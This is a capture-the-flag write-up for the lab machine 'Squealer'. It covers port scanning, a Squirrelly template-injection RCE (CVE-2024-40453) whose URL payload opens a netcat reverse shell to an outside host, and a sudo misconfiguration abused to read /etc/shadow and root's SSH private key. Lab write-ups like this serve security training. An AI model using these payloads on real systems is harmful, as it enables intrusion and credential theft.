Squealer (Advanced)
Post

Squealer (Advanced)

Host entries
1
10.0.14.48

Content

  • Squirrelly v9.0.0 RCE (CVE-2024-40453)

Reconnaissance

Initial reconnaissance for TCP ports

1
2
3
4
5
cat allPorts 
# Nmap 7.94SVN scan initiated Fri Jan 31 00:00:23 2025 as: nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.14.48
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.14.48 ()     Status: Up
Host: 10.0.14.48 ()     Ports: 22/open/tcp//ssh///, 3000/open/tcp//ppp///

Services and Versions running:

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 80:99:90:ea:15:e3:ab:62:09:a1:59:9d:20:c4:30:09 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFjX/XcexxANOR9q+NytjakZZrx2A8lxaMLAcqKfUelUyghougQ3NfwE/XK9ijc/f7ENNsxCFoepp7kc5AyVEbI=
|   256 47:7e:f3:6b:c9:68:a1:1e:8e:42:2f:a7:de:59:e9:59 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN6O2vsvH1hGR3kXu1AfhbkcSzg/6TEcNwzpt+9Q9uEn
3000/tcp open  http    syn-ack ttl 63 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploitation

As shown in the netcat output, only port TCP-3000 is open, so we start by accessing to it from a browser just in case there is a website hosted:

From here there is a hint about the Template Engine, which makes us think about SSTI vulnerabilities, searching for an exploit on this I found this Squirrelly v9.0.0 RCE with an excellent explanation with all the details we need to know, first of all to try out if the server might be vulnerable the following payload is used:

1
http://10.0.14.48:3000/?useWith=1&varName=console.log(%22x%22)

According with the blog post, if there is an error, then we are on the right way:

Then by reading all the blog, we identify the following payload that allows us to get a reverse shell:

1
http://10.0.14.48:3000/?useWith=1&varName=%7B%20a:%20b%20=%20global.process.mainModule.require(%22child_process%22).execSync(%22nc%20-e%20/bin/sh%2010.10.5.122%201234%22)%20%7D

And then we have a reverse shell as user ETSCTF:

1
2
3
4
5
nc -lvnp 1234     
listening on [any] 1234 ...
connect to [10.10.5.122] from (UNKNOWN) [10.0.14.48] 49658
python3 -c 'import pty; pty.spawn("/bin/bash")'
ETSCTF@squealer:/opt/app$

Privilege Escalation

For privilege escalation there is a binary that can be executed as sudo without password:

1
2
3
4
5
6
7
8
ETSCTF@squealer:/opt/app$ sudo -l
Matching Defaults entries for ETSCTF on squealer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User ETSCTF may run the following commands on squealer:
    (ALL : ALL) NOPASSWD: /opt/node/bin/clisquir

Reading its content it seems that there is another squirrelly app within:

1
2
3
4
5
6
7
8
ETSCTF@squealer:/opt/app$ cat /opt/node/bin/clisquir
#!/opt/node/bin/node
var Sqrl = require('squirrelly')
var args = process.argv.slice(2);

var template = args[0];
var val = JSON.parse(args[1]) || { user: 'cool person' };
console.log(Sqrl.renderFile(template, val));

Searching for some payloads to exploit this kind of implementation I got this payload that allows Arbitrary File Read:

1
ETSCTF@squealer:/opt/app$ sudo /opt/node/bin/clisquir "/etc/shadow" '{}'

Finally to get root all it lefts is to read the id_rsa from root:

1
ETSCTF@squealer:/opt/app$ sudo /opt/node/bin/clisquir "/root/.ssh/id_rsa" '{}'

Run the ssh -i id_rsa and you’ll get a root shell… AND WE ARE INSIDE!!!

Post Exploitation

Flags are stored at:

/etc/passwd /etc/shadow environment variables (env command) /root

Credentials

No credentials were found or needed.

Notes

  • Simple exploits, nothing fancy here.

References